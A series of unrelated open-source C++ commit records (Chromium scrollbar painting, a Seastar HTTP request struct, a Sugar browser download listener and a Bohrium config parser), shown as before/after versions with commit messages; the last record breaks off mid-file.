ScrollbarThemeChromium::paintButton(GraphicsContext* gc, Scrollbar* scrollbar,\n const IntRect& rect, ScrollbarPart part)\n{\n \/\/ TODO(port): It appears the either we're upsetting GTK by forcing WebKit\n \/\/ sizes on it, or the buttons expect the track to be drawn under them.\n \/\/ Either way, we end up with unpainted pixels which are upsetting the\n \/\/ pixel tests. Thus we paint green under the buttons to, at least, make\n \/\/ the pixel output the same between debug and opt builds.\n SkPaint paint;\n paint.setARGB(255, 0, 255, 128);\n SkRect skrect;\n skrect.set(rect.x(), rect.y(), rect.x() + rect.width() - 1, rect.y() + rect.height() + 1);\n gc->platformContext()->canvas()->drawRect(skrect, paint);\n\n const bool horz = scrollbar->orientation() == HorizontalScrollbar;\n gint flags = horz ? 0 : MOZ_GTK_STEPPER_VERTICAL;\n flags |= ForwardButtonEndPart == part ? MOZ_GTK_STEPPER_DOWN : 0;\n paintScrollbarWidget(gc, rect, MOZ_GTK_SCROLLBAR_BUTTON, flags);\n}\n\nvoid ScrollbarThemeChromium::paintThumb(GraphicsContext* gc, Scrollbar* scrollbar, const IntRect& rect)\n{\n const bool horz = scrollbar->orientation() == HorizontalScrollbar;\n const GtkThemeWidgetType thumb_type =\n horz ? MOZ_GTK_SCROLLBAR_THUMB_HORIZONTAL : MOZ_GTK_SCROLLBAR_THUMB_VERTICAL;\n paintScrollbarWidget(gc, rect, thumb_type, 0);\n}\n\n} \/\/ namespace WebCore\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\"). See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership. You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\/*\n * Copyright 2015 Cloudius Systems\n *\/\n\n\/\/\n\/\/ request.hpp\n\/\/ ~~~~~~~~~~~\n\/\/\n\/\/ Copyright (c) 2003-2013 Christopher M. Kohlhoff (chris at kohlhoff dot com)\n\/\/\n\/\/ Distributed under the Boost Software License, Version 1.0. (See accompanying\n\/\/ file LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/\n#pragma once\n\n#include <seastar\/core\/iostream.hh>\n#include <seastar\/core\/sstring.hh>\n#include <string>\n#include <vector>\n#include <strings.h>\n#include <seastar\/http\/common.hh>\n#include <seastar\/core\/iostream.hh>\n\nnamespace seastar {\n\nnamespace httpd {\nclass connection;\n\n\/**\n * A request received from a client.\n *\/\nstruct request {\n enum class ctclass\n : char {\n other, multipart, app_x_www_urlencoded,\n };\n\n struct case_insensitive_cmp {\n bool operator()(const sstring& s1, const sstring& s2) const {\n return std::equal(s1.begin(), s1.end(), s2.begin(), s2.end(),\n [](char a, char b) { return ::tolower(a) == ::tolower(b); });\n }\n };\n\n struct case_insensitive_hash {\n size_t operator()(sstring s) const {\n std::transform(s.begin(), s.end(), s.begin(), ::tolower);\n return std::hash<sstring>()(s);\n }\n };\n\n sstring _method;\n sstring _url;\n sstring _version;\n int http_version_major;\n int http_version_minor;\n ctclass content_type_class;\n size_t content_length = 0;\n std::unordered_map<sstring, sstring, case_insensitive_hash, case_insensitive_cmp> _headers;\n std::unordered_map<sstring, sstring> query_parameters;\n connection* connection_ptr;\n parameters param;\n sstring content; \/\/ deprecated: use content_stream instead\n \/*\n * The handler should read the contents of this stream till reaching eof (i.e., the end of this request's content). Failing to do so\n * will force the server to close this connection, and the client will not be able to reuse this connection for the next request.\n * The stream should not be closed by the handler, the server will close it for the handler.\n * *\/\n input_stream<char>* content_stream;\n std::unordered_map<sstring, sstring> trailing_headers;\n std::unordered_map<sstring, sstring> chunk_extensions;\n sstring protocol_name = \"http\";\n\n \/**\n * Search for the first header of a given name\n * @param name the header name\n * @return a pointer to the header value, if it exists or empty string\n *\/\n sstring get_header(const sstring& name) const {\n auto res = _headers.find(name);\n if (res == _headers.end()) {\n return \"\";\n }\n return res->second;\n }\n\n \/**\n * Search for the first header of a given name\n * @param name the header name\n * @return a pointer to the header value, if it exists or empty string\n *\/\n sstring get_query_param(const sstring& name) const {\n auto res = query_parameters.find(name);\n if (res == query_parameters.end()) {\n return \"\";\n }\n return res->second;\n }\n\n \/**\n * Get the request protocol name. Can be either \"http\" or \"https\".\n *\/\n sstring get_protocol_name() const {\n return protocol_name;\n }\n\n \/**\n * Get the request url.\n * @return the request url\n *\/\n sstring get_url() const {\n return get_protocol_name() + \":\/\/\" + get_header(\"Host\") + _url;\n }\n\n bool is_multi_part() const {\n return content_type_class == ctclass::multipart;\n }\n\n bool is_form_post() const {\n return content_type_class == ctclass::app_x_www_urlencoded;\n }\n\n bool should_keep_alive() const {\n if (_version == \"0.9\") {\n return false;\n }\n\n \/\/ TODO: handle HTTP\/2.0 when it releases\n\n auto it = _headers.find(\"Connection\");\n if (_version == \"1.0\") {\n return it != _headers.end()\n && case_insensitive_cmp()(it->second, \"keep-alive\");\n } else { \/\/ HTTP\/1.1\n return it == _headers.end() || !case_insensitive_cmp()(it->second, \"close\");\n }\n }\n};\n\n} \/\/ namespace httpd\n\n}\n<commit_msg>http: Remove unused members from request<commit_after>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\"). See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership. You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\/*\n * Copyright 2015 Cloudius Systems\n *\/\n\n\/\/\n\/\/ request.hpp\n\/\/ ~~~~~~~~~~~\n\/\/\n\/\/ Copyright (c) 2003-2013 Christopher M. Kohlhoff (chris at kohlhoff dot com)\n\/\/\n\/\/ Distributed under the Boost Software License, Version 1.0. (See accompanying\n\/\/ file LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/\n#pragma once\n\n#include <seastar\/core\/iostream.hh>\n#include <seastar\/core\/sstring.hh>\n#include <string>\n#include <vector>\n#include <strings.h>\n#include <seastar\/http\/common.hh>\n#include <seastar\/core\/iostream.hh>\n\nnamespace seastar {\n\nnamespace httpd {\n\n\/**\n * A request received from a client.\n *\/\nstruct request {\n enum class ctclass\n : char {\n other, multipart, app_x_www_urlencoded,\n };\n\n struct case_insensitive_cmp {\n bool operator()(const sstring& s1, const sstring& s2) const {\n return std::equal(s1.begin(), s1.end(), s2.begin(), s2.end(),\n [](char a, char b) { return ::tolower(a) == ::tolower(b); });\n }\n };\n\n struct case_insensitive_hash {\n size_t operator()(sstring s) const {\n std::transform(s.begin(), s.end(), s.begin(), ::tolower);\n return std::hash<sstring>()(s);\n }\n };\n\n sstring _method;\n sstring _url;\n sstring _version;\n ctclass content_type_class;\n size_t content_length = 0;\n std::unordered_map<sstring, sstring, case_insensitive_hash, case_insensitive_cmp> _headers;\n std::unordered_map<sstring, sstring> query_parameters;\n parameters param;\n sstring content; \/\/ deprecated: use content_stream instead\n \/*\n * The handler should read the contents of this stream till reaching eof (i.e., the end of this request's content). Failing to do so\n * will force the server to close this connection, and the client will not be able to reuse this connection for the next request.\n * The stream should not be closed by the handler, the server will close it for the handler.\n * *\/\n input_stream<char>* content_stream;\n std::unordered_map<sstring, sstring> trailing_headers;\n std::unordered_map<sstring, sstring> chunk_extensions;\n sstring protocol_name = \"http\";\n\n \/**\n * Search for the first header of a given name\n * @param name the header name\n * @return a pointer to the header value, if it exists or empty string\n *\/\n sstring get_header(const sstring& name) const {\n auto res = _headers.find(name);\n if (res == _headers.end()) {\n return \"\";\n }\n return res->second;\n }\n\n \/**\n * Search for the first header of a given name\n * @param name the header name\n * @return a pointer to the header value, if it exists or empty string\n *\/\n sstring get_query_param(const sstring& name) const {\n auto res = query_parameters.find(name);\n if (res == query_parameters.end()) {\n return \"\";\n }\n return res->second;\n }\n\n \/**\n * Get the request protocol name. Can be either \"http\" or \"https\".\n *\/\n sstring get_protocol_name() const {\n return protocol_name;\n }\n\n \/**\n * Get the request url.\n * @return the request url\n *\/\n sstring get_url() const {\n return get_protocol_name() + \":\/\/\" + get_header(\"Host\") + _url;\n }\n\n bool is_multi_part() const {\n return content_type_class == ctclass::multipart;\n }\n\n bool is_form_post() const {\n return content_type_class == ctclass::app_x_www_urlencoded;\n }\n\n bool should_keep_alive() const {\n if (_version == \"0.9\") {\n return false;\n }\n\n \/\/ TODO: handle HTTP\/2.0 when it releases\n\n auto it = _headers.find(\"Connection\");\n if (_version == \"1.0\") {\n return it != _headers.end()\n && case_insensitive_cmp()(it->second, \"keep-alive\");\n } else { \/\/ HTTP\/1.1\n return it == _headers.end() || !case_insensitive_cmp()(it->second, \"close\");\n }\n }\n};\n\n} \/\/ namespace httpd\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include <nsIFactory.h>\n\n#include \"sugar-download-manager.h\"\n\n#include \"GeckoDownload.h\"\n\nclass GeckoDownload : public nsITransfer\n{\npublic:\n GeckoDownload();\n\tvirtual ~GeckoDownload();\n\n\tNS_DECL_ISUPPORTS\n\tNS_DECL_NSIWEBPROGRESSLISTENER\n\tNS_DECL_NSIWEBPROGRESSLISTENER2\n\tNS_DECL_NSITRANSFER\n\nprotected:\n\tnsIURI\t\t\t*mSource;\n\tnsCString\t\tmTargetFileName;\n\tnsIMIMEInfo\t\t*mMIMEInfo;\n\tnsILocalFile\t*mTempFile;\n};\n\nGeckoDownload::GeckoDownload ()\n{\n}\n\nGeckoDownload::~GeckoDownload ()\n{\n}\n\nNS_IMPL_ISUPPORTS3 (GeckoDownload,\n\t\t\t\t\tnsIWebProgressListener,\n\t\t\t\t\tnsIWebProgressListener2,\n\t\t\t\t\tnsITransfer)\n\nNS_IMETHODIMP\nGeckoDownload::Init (nsIURI *aSource,\n\t\t\t\t\t nsIURI *aTarget,\n\t\t\t\t\t const nsAString &aDisplayName,\n\t\t\t\t\t nsIMIMEInfo *aMIMEInfo,\n\t\t\t\t\t PRTime aStartTime,\n\t\t\t\t\t nsILocalFile *aTempFile,\n\t\t\t\t\t nsICancelable *aCancelable)\n{\n\tmSource = aSource;\n\taTarget->GetPath (mTargetFileName);\n\tmMIMEInfo = aMIMEInfo;\n\tmTempFile = aTempFile;\n\/\/\tmCancelable = aCancelable;\tJust a reminder for when we implement cancelling downloads.\n\n\treturn NS_OK;\n}\n\nNS_IMETHODIMP \nGeckoDownload::OnStateChange (nsIWebProgress *aWebProgress,\n\t\t\t\t\t\t\t nsIRequest *aRequest,\n\t\t\t\t\t\t\t PRUint32 aStateFlags,\n\t\t\t\t\t\t\t nsresult aStatus)\n{\n\tSugarDownloadManager *download_manager = sugar_get_download_manager ();\n\n\tif (aStateFlags == STATE_START) {\n\n\t\tnsCString url;\n\t\tnsCString mimeType;\n\t\n\t\tmMIMEInfo->GetMIMEType (mimeType);\n\t\tmSource->GetSpec (url);\n\t\t\n\t\tsugar_download_manager_download_started (download_manager,\n\t\t\t\t\t\t\t\t\t\t\t\t url.get (),\n\t\t\t\t\t\t\t\t\t\t\t\t mimeType.get (),\n\t\t\t\t\t\t\t\t\t\t\t\t mTargetFileName.get ());\n\n\t} else if (aStateFlags == STATE_STOP) {\n\t\t\n\t\tif (NS_SUCCEEDED (aStatus)) {\n\t\t\tsugar_download_manager_download_completed (download_manager,\n\t\t\t\t\t\t\t\t\t\t\t\t\t mTargetFileName.get ());\n\t\t} else {\n\t\t\tsugar_download_manager_download_cancelled (download_manager,\n\t\t\t\t\t\t\t\t\t\t\t\t\t mTargetFileName.get ());\n\t\t}\n\t}\n\n\treturn NS_OK; \n}\n\nNS_IMETHODIMP\nGeckoDownload::OnProgressChange (nsIWebProgress *aWebProgress,\n\t\t\t\t\t\t\t\t nsIRequest *aRequest,\n\t\t\t\t\t\t\t\t PRInt32 aCurSelfProgress,\n\t\t\t\t\t\t\t\t PRInt32 aMaxSelfProgress,\n\t\t\t\t\t\t\t\t PRInt32 aCurTotalProgress,\n\t\t\t\t\t\t\t\t PRInt32 aMaxTotalProgress)\n{\n\treturn OnProgressChange64 (aWebProgress,\n\t\t\t\t\t\t\t aRequest,\n\t\t\t\t\t\t\t aCurSelfProgress,\n\t\t\t\t\t\t\t aMaxSelfProgress,\n\t\t\t\t\t\t\t aCurTotalProgress,\n\t\t\t\t\t\t\t aMaxTotalProgress);\n}\n\nNS_IMETHODIMP\nGeckoDownload::OnProgressChange64 (nsIWebProgress *aWebProgress,\n\t\t\t\t\t\t\t\t nsIRequest *aRequest,\n\t\t\t\t\t\t\t\t PRInt64 aCurSelfProgress,\n\t\t\t\t\t\t\t\t PRInt64 aMaxSelfProgress,\n\t\t\t\t\t\t\t\t PRInt64 aCurTotalProgress,\n\t\t\t\t\t\t\t\t PRInt64 aMaxTotalProgress)\n{\t\n\tSugarDownloadManager *download_manager = sugar_get_download_manager ();\n\tPRInt32 percentComplete =\n\t\t(PRInt32)(((float)aCurSelfProgress \/ (float)aMaxSelfProgress) * 100.0);\n\n\tsugar_download_manager_update_progress (download_manager,\n\t\t\t\t\t\t\t\t\t\t\tmTargetFileName.get (),\n\t\t\t\t\t\t\t\t\t\t\tpercentComplete);\n\n\treturn NS_OK;\n}\n\nNS_IMETHODIMP\nGeckoDownload::OnLocationChange (nsIWebProgress *aWebProgress,\n\t\t\t\t\t\t\t\t nsIRequest *aRequest,\n\t\t\t\t\t\t\t\t nsIURI *location)\n{\n\treturn NS_OK;\n}\n\nNS_IMETHODIMP \nGeckoDownload::OnStatusChange (nsIWebProgress *aWebProgress,\n\t\t\t\t\t\t\t nsIRequest *aRequest,\n\t\t\t\t\t\t\t nsresult aStatus, \n\t\t\t\t\t\t\t const PRUnichar *aMessage)\n{\n\treturn NS_OK;\n}\n\nNS_IMETHODIMP \nGeckoDownload::OnSecurityChange (nsIWebProgress *aWebProgress,\n\t\t\t\t\t\t\t\t nsIRequest *aRequest,\n\t\t\t\t\t\t\t\t PRUint32 state)\n{\n\treturn NS_OK;\n}\n\nNS_IMETHODIMP\nGeckoDownload::OnRefreshAttempted (nsIWebProgress *aWebProgress,\n nsIURI *aRefreshURI,\n PRInt32 aMillis,\n PRBool aSameURI,\n PRBool *_retval)\n{\n\treturn NS_OK;\n}\n\/\/*****************************************************************************\n\/\/ GeckoDownloadFactory\n\/\/*****************************************************************************\n\nclass GeckoDownloadFactory : public nsIFactory {\npublic:\n NS_DECL_ISUPPORTS\n NS_DECL_NSIFACTORY\n\n GeckoDownloadFactory();\n virtual ~GeckoDownloadFactory();\n};\n\n\/\/*****************************************************************************\n\nNS_IMPL_ISUPPORTS1(GeckoDownloadFactory, nsIFactory)\n\nGeckoDownloadFactory::GeckoDownloadFactory() {\n}\n\nGeckoDownloadFactory::~GeckoDownloadFactory() {\n}\n\nNS_IMETHODIMP\nGeckoDownloadFactory::CreateInstance(nsISupports *aOuter, const nsIID & aIID, void **aResult)\n{\n NS_ENSURE_ARG_POINTER(aResult);\n\n *aResult = NULL;\n GeckoDownload *inst = new GeckoDownload;\n if (!inst)\n return NS_ERROR_OUT_OF_MEMORY;\n\n nsresult rv = inst->QueryInterface(aIID, aResult);\n if (rv != NS_OK) {\n \/\/ We didn't get the right interface, so clean up\n delete inst;\n }\n\n return rv;\n}\n\nNS_IMETHODIMP\nGeckoDownloadFactory::LockFactory(PRBool lock)\n{\n return NS_OK;\n}\n\n\/\/*****************************************************************************\n\nnsresult\nNS_NewGeckoDownloadFactory(nsIFactory** aFactory)\n{\n NS_ENSURE_ARG_POINTER(aFactory);\n *aFactory = nsnull;\n\n GeckoDownloadFactory *result = new GeckoDownloadFactory;\n if (!result)\n return NS_ERROR_OUT_OF_MEMORY;\n\n NS_ADDREF(result);\n *aFactory = result;\n\n return NS_OK;\n}\n<commit_msg>Compile the new method only if we are on 1.9<commit_after>#include <nsIFactory.h>\n\n#include \"sugar-download-manager.h\"\n\n#include \"GeckoDownload.h\"\n\nclass GeckoDownload : public nsITransfer\n{\npublic:\n GeckoDownload();\n\tvirtual ~GeckoDownload();\n\n\tNS_DECL_ISUPPORTS\n\tNS_DECL_NSIWEBPROGRESSLISTENER\n\tNS_DECL_NSIWEBPROGRESSLISTENER2\n\tNS_DECL_NSITRANSFER\n\nprotected:\n\tnsIURI\t\t\t*mSource;\n\tnsCString\t\tmTargetFileName;\n\tnsIMIMEInfo\t\t*mMIMEInfo;\n\tnsILocalFile\t*mTempFile;\n};\n\nGeckoDownload::GeckoDownload ()\n{\n}\n\nGeckoDownload::~GeckoDownload ()\n{\n}\n\nNS_IMPL_ISUPPORTS3 (GeckoDownload,\n\t\t\t\t\tnsIWebProgressListener,\n\t\t\t\t\tnsIWebProgressListener2,\n\t\t\t\t\tnsITransfer)\n\nNS_IMETHODIMP\nGeckoDownload::Init (nsIURI *aSource,\n\t\t\t\t\t nsIURI *aTarget,\n\t\t\t\t\t const nsAString &aDisplayName,\n\t\t\t\t\t nsIMIMEInfo *aMIMEInfo,\n\t\t\t\t\t PRTime aStartTime,\n\t\t\t\t\t nsILocalFile *aTempFile,\n\t\t\t\t\t nsICancelable *aCancelable)\n{\n\tmSource = aSource;\n\taTarget->GetPath (mTargetFileName);\n\tmMIMEInfo = aMIMEInfo;\n\tmTempFile = aTempFile;\n\/\/\tmCancelable = aCancelable;\tJust a reminder for when we implement cancelling downloads.\n\n\treturn NS_OK;\n}\n\nNS_IMETHODIMP \nGeckoDownload::OnStateChange (nsIWebProgress *aWebProgress,\n\t\t\t\t\t\t\t nsIRequest *aRequest,\n\t\t\t\t\t\t\t PRUint32 aStateFlags,\n\t\t\t\t\t\t\t nsresult aStatus)\n{\n\tSugarDownloadManager *download_manager = sugar_get_download_manager ();\n\n\tif (aStateFlags == STATE_START) {\n\n\t\tnsCString url;\n\t\tnsCString mimeType;\n\t\n\t\tmMIMEInfo->GetMIMEType (mimeType);\n\t\tmSource->GetSpec (url);\n\t\t\n\t\tsugar_download_manager_download_started (download_manager,\n\t\t\t\t\t\t\t\t\t\t\t\t url.get (),\n\t\t\t\t\t\t\t\t\t\t\t\t mimeType.get (),\n\t\t\t\t\t\t\t\t\t\t\t\t mTargetFileName.get ());\n\n\t} else if (aStateFlags == STATE_STOP) {\n\t\t\n\t\tif (NS_SUCCEEDED (aStatus)) {\n\t\t\tsugar_download_manager_download_completed (download_manager,\n\t\t\t\t\t\t\t\t\t\t\t\t\t mTargetFileName.get ());\n\t\t} else {\n\t\t\tsugar_download_manager_download_cancelled (download_manager,\n\t\t\t\t\t\t\t\t\t\t\t\t\t mTargetFileName.get ());\n\t\t}\n\t}\n\n\treturn NS_OK; \n}\n\nNS_IMETHODIMP\nGeckoDownload::OnProgressChange (nsIWebProgress *aWebProgress,\n\t\t\t\t\t\t\t\t nsIRequest *aRequest,\n\t\t\t\t\t\t\t\t PRInt32 aCurSelfProgress,\n\t\t\t\t\t\t\t\t PRInt32 aMaxSelfProgress,\n\t\t\t\t\t\t\t\t PRInt32 aCurTotalProgress,\n\t\t\t\t\t\t\t\t PRInt32 aMaxTotalProgress)\n{\n\treturn OnProgressChange64 (aWebProgress,\n\t\t\t\t\t\t\t aRequest,\n\t\t\t\t\t\t\t aCurSelfProgress,\n\t\t\t\t\t\t\t aMaxSelfProgress,\n\t\t\t\t\t\t\t aCurTotalProgress,\n\t\t\t\t\t\t\t aMaxTotalProgress);\n}\n\nNS_IMETHODIMP\nGeckoDownload::OnProgressChange64 (nsIWebProgress *aWebProgress,\n\t\t\t\t\t\t\t\t nsIRequest *aRequest,\n\t\t\t\t\t\t\t\t PRInt64 aCurSelfProgress,\n\t\t\t\t\t\t\t\t PRInt64 aMaxSelfProgress,\n\t\t\t\t\t\t\t\t PRInt64 aCurTotalProgress,\n\t\t\t\t\t\t\t\t PRInt64 aMaxTotalProgress)\n{\t\n\tSugarDownloadManager *download_manager = sugar_get_download_manager ();\n\tPRInt32 percentComplete =\n\t\t(PRInt32)(((float)aCurSelfProgress \/ (float)aMaxSelfProgress) * 100.0);\n\n\tsugar_download_manager_update_progress (download_manager,\n\t\t\t\t\t\t\t\t\t\t\tmTargetFileName.get (),\n\t\t\t\t\t\t\t\t\t\t\tpercentComplete);\n\n\treturn NS_OK;\n}\n\nNS_IMETHODIMP\nGeckoDownload::OnLocationChange (nsIWebProgress *aWebProgress,\n\t\t\t\t\t\t\t\t nsIRequest *aRequest,\n\t\t\t\t\t\t\t\t nsIURI *location)\n{\n\treturn NS_OK;\n}\n\nNS_IMETHODIMP \nGeckoDownload::OnStatusChange (nsIWebProgress *aWebProgress,\n\t\t\t\t\t\t\t nsIRequest *aRequest,\n\t\t\t\t\t\t\t nsresult aStatus, \n\t\t\t\t\t\t\t const PRUnichar *aMessage)\n{\n\treturn NS_OK;\n}\n\nNS_IMETHODIMP \nGeckoDownload::OnSecurityChange (nsIWebProgress *aWebProgress,\n\t\t\t\t\t\t\t\t nsIRequest *aRequest,\n\t\t\t\t\t\t\t\t PRUint32 state)\n{\n\treturn NS_OK;\n}\n\n#ifdef HAVE_MOZILLA_1_9\n\nNS_IMETHODIMP\nGeckoDownload::OnRefreshAttempted (nsIWebProgress *aWebProgress,\n nsIURI *aRefreshURI,\n PRInt32 aMillis,\n PRBool aSameURI,\n PRBool *_retval)\n{\n\treturn NS_OK;\n}\n\n#endif\n\n\/\/*****************************************************************************\n\/\/ GeckoDownloadFactory\n\/\/*****************************************************************************\n\nclass GeckoDownloadFactory : public nsIFactory {\npublic:\n NS_DECL_ISUPPORTS\n NS_DECL_NSIFACTORY\n\n GeckoDownloadFactory();\n virtual ~GeckoDownloadFactory();\n};\n\n\/\/*****************************************************************************\n\nNS_IMPL_ISUPPORTS1(GeckoDownloadFactory, nsIFactory)\n\nGeckoDownloadFactory::GeckoDownloadFactory() {\n}\n\nGeckoDownloadFactory::~GeckoDownloadFactory() {\n}\n\nNS_IMETHODIMP\nGeckoDownloadFactory::CreateInstance(nsISupports *aOuter, const nsIID & aIID, void **aResult)\n{\n NS_ENSURE_ARG_POINTER(aResult);\n\n *aResult = NULL;\n GeckoDownload *inst = new GeckoDownload;\n if (!inst)\n return NS_ERROR_OUT_OF_MEMORY;\n\n nsresult rv = inst->QueryInterface(aIID, aResult);\n if (rv != NS_OK) {\n \/\/ We didn't get the right interface, so clean up\n delete inst;\n }\n\n return rv;\n}\n\nNS_IMETHODIMP\nGeckoDownloadFactory::LockFactory(PRBool lock)\n{\n return NS_OK;\n}\n\n\/\/*****************************************************************************\n\nnsresult\nNS_NewGeckoDownloadFactory(nsIFactory** aFactory)\n{\n NS_ENSURE_ARG_POINTER(aFactory);\n *aFactory = nsnull;\n\n GeckoDownloadFactory *result = new GeckoDownloadFactory;\n if (!result)\n return NS_ERROR_OUT_OF_MEMORY;\n\n NS_ADDREF(result);\n *aFactory = result;\n\n return NS_OK;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\nThis file is part of Bohrium and copyright (c) 2012 the Bohrium\nteam <http:\/\/www.bh107.org>.\n\nBohrium is free software: you can redistribute it and\/or modify\nit under the terms of the GNU Lesser General Public License as\npublished by the Free Software Foundation, either version 3\nof the License, or (at your option) any later version.\n\nBohrium is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the\nGNU Lesser General Public License along with Bohrium.\n\nIf not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <boost\/property_tree\/ptree.hpp>\n#include <boost\/property_tree\/ini_parser.hpp>\n#include <boost\/property_tree\/exceptions.hpp>\n#include <boost\/algorithm\/string.hpp>\n#include <cstdlib>\n\n#include <bh_config_parser.hpp>\n\n#ifdef _WIN32\n\n#include <windows.h>\n#include <dlfcn-win32.h>\n\n#define HOME_INI_PATH \"%APPDATA%\\\\bohrium\\\\config.ini\"\n#define SYSTEM_INI_PATH_1 \"%PROGRAMFILES%\\\\bohrium\\\\config.ini\"\n#define SYSTEM_INI_PATH_2 \"%PROGRAMFILES%\\\\bohrium\\\\config.ini\"\n\n\/\/Nasty function renaming\n#define snprintf _snprintf\n#define strcasecmp _stricmp\n\n#else\n\n#include <dlfcn.h>\n#include <limits.h>\n\n#define HOME_INI_PATH \"~\/.bohrium\/config.ini\"\n#define SYSTEM_INI_PATH_1 \"\/usr\/local\/etc\/bohrium\/config.ini\"\n#define SYSTEM_INI_PATH_2 \"\/usr\/etc\/bohrium\/config.ini\"\n\n#endif\n\nusing namespace std;\nusing namespace boost;\n\nnamespace bohrium {\n\nnamespace {\n\/\/ Path to the config file e.g. ~\/.bohrium\/config.ini\nstring get_config_path() {\n\n const char* homepath = HOME_INI_PATH;\n const char* syspath1 = SYSTEM_INI_PATH_1;\n const char* syspath2 = SYSTEM_INI_PATH_2;\n\n \/\/\n \/\/ Find the configuration file\n \/\/\n\n \/\/ Start by looking a path set via environment variable.\n const char *env = getenv(\"BH_CONFIG\");\n if (env != NULL)\n {\n FILE *fp = fopen(env,\"r\");\n if( fp )\n fclose(fp);\n else\n env = NULL;\/\/Did not exist.\n }\n\n \/\/ Then the home directory.\n if(env == NULL)\n {\n#if _WIN32\n char _expand_buffer[MAX_PATH];\n DWORD result = ExpandEnvironmentStrings(\n homepath,\n _expand_buffer,\n MAX_PATH-1\n );\n\n if (result != 0)\n {\n homepath = _expand_buffer;\n }\n#else\n char* h = getenv(\"HOME\");\n if (h != NULL)\n {\n char _expand_buffer[PATH_MAX];\n snprintf(_expand_buffer, PATH_MAX, \"%s\/%s\", h, homepath+1);\n homepath = _expand_buffer;\n }\n#endif\n FILE *fp = fopen(homepath,\"r\");\n if( fp ) {\n env = homepath;\n fclose(fp);\n }\n }\n\n \/\/And then system-wide.\n if(env == NULL)\n {\n#if _WIN32\n char _expand_buffer[MAX_PATH];\n DWORD result = ExpandEnvironmentStrings(\n syspath1,\n _expand_buffer,\n MAX_PATH-1\n );\n\n if(result != 0)\n {\n syspath1 = _expand_buffer;\n }\n#endif\n FILE *fp = fopen(syspath1,\"r\");\n if(fp)\n {\n env = syspath1;\n fclose(fp);\n }\n }\n\n \/\/And then system-wide.\n if(env == NULL)\n {\n#if _WIN32\n char _expand_buffer[MAX_PATH];\n DWORD result = ExpandEnvironmentStrings(\n syspath2,\n _expand_buffer,\n MAX_PATH-1\n );\n\n if(result != 0)\n {\n syspath2 = _expand_buffer;\n }\n#endif\n FILE *fp = fopen(syspath2,\"r\");\n if(fp)\n {\n env = syspath2;\n fclose(fp);\n }\n }\n \/\/ We could not find the configuration file anywhere\n if(env == NULL)\n {\n fprintf(stderr, \"Error: Bohrium could not find the config file.\\n\"\n \" The search is:\\n\"\n \"\\t* The environment variable BH_CONFIG.\\n\"\n \"\\t* The home directory \\\"%s\\\".\\n\"\n \"\\t* The local directory \\\"%s\\\".\\n\"\n \"\\t* And system-wide \\\"%s\\\".\\n\", homepath, syspath1, syspath2);\n throw invalid_argument(\"No config file\");\n }\n return string(env);\n}\n\n\/\/ Return section\/option as an environment variable\n\/\/ or the empty string if the environment variable wasn't found\nstring lookup_env(const string §ion, const string &option) {\n string s = \"BH_\" + section + \"_\" + option;\n to_upper(s);\n const char *env = getenv(s.c_str());\n\n if (env == NULL) {\n return string();\n } else {\n return string(env);\n }\n}\n\n}\/\/ namespace unnamed\n\nstring ConfigParser::lookup(const string §ion, const string &option) const {\n \/\/Check environment variable\n string ret = lookup_env(section, option);\n if (not ret.empty())\n return ret;\n\n \/\/Check config file\n ret = _config.get<string>(section + \".\" + option);\n\n \/\/Remove quotes \"\" or '' and return\n if (ret.find_first_of(\"\\\"'\") == 0 and ret.find_last_of(\"\\\"'\") == ret.size()-1) {\n return ret.substr(1, ret.size()-2);\n } else {\n return ret;\n }\n}\n\nConfigParser::ConfigParser(int stack_level) : file_path(get_config_path()),\n stack_level(stack_level) {\n\n \/\/ Load the bohrium configuration file\n property_tree::ini_parser::read_ini(file_path, _config);\n\n \/\/ Find the stack name specified by 'BH_STACK'\n const char *env = getenv(\"BH_STACK\");\n string stack_name;\n if (env == NULL){\n stack_name = \"default\";\n } else {\n stack_name = env;\n }\n \/\/ Read stack, which is a comma separated list of component names,\n \/\/ into a vector of component names.\n _stack_list = getList(\"stacks\", stack_name);\n if (stack_level >= static_cast<int>(_stack_list.size()) or stack_level < -1) {\n throw ConfigError(\"ConfigParser: stack level is out of bound\");\n }\n if (stack_level == -1) {\n _default_section = \"bridge\";\n } else {\n _default_section = _stack_list[stack_level];\n }\n}\n\nvector<string> ConfigParser::getList(const std::string §ion,\n const std::string &option) const {\n vector<string> ret;\n string s = get<string>(section, option);\n algorithm::split(ret, s, is_any_of(\"\\t, \"), token_compress_on);\n return ret;\n}\n\nstring ConfigParser::getChildLibraryPath() const\n{\n \/\/ Do we have a child?\n if (static_cast<int>(_stack_list.size()) <= stack_level+1) {\n throw ConfigNoChild(\"ConfigParser: \" + getName() + \" has no child!\");\n }\n \/\/ Our child is our stack level plus one\n string child_name = _stack_list[stack_level+1];\n return get<string>(child_name, \"impl\");\n}\n\n} \/\/namespace bohrium\n<commit_msg>config: now handling dash in env var as underscore<commit_after>\/*\nThis file is part of Bohrium and copyright (c) 2012 the Bohrium\nteam 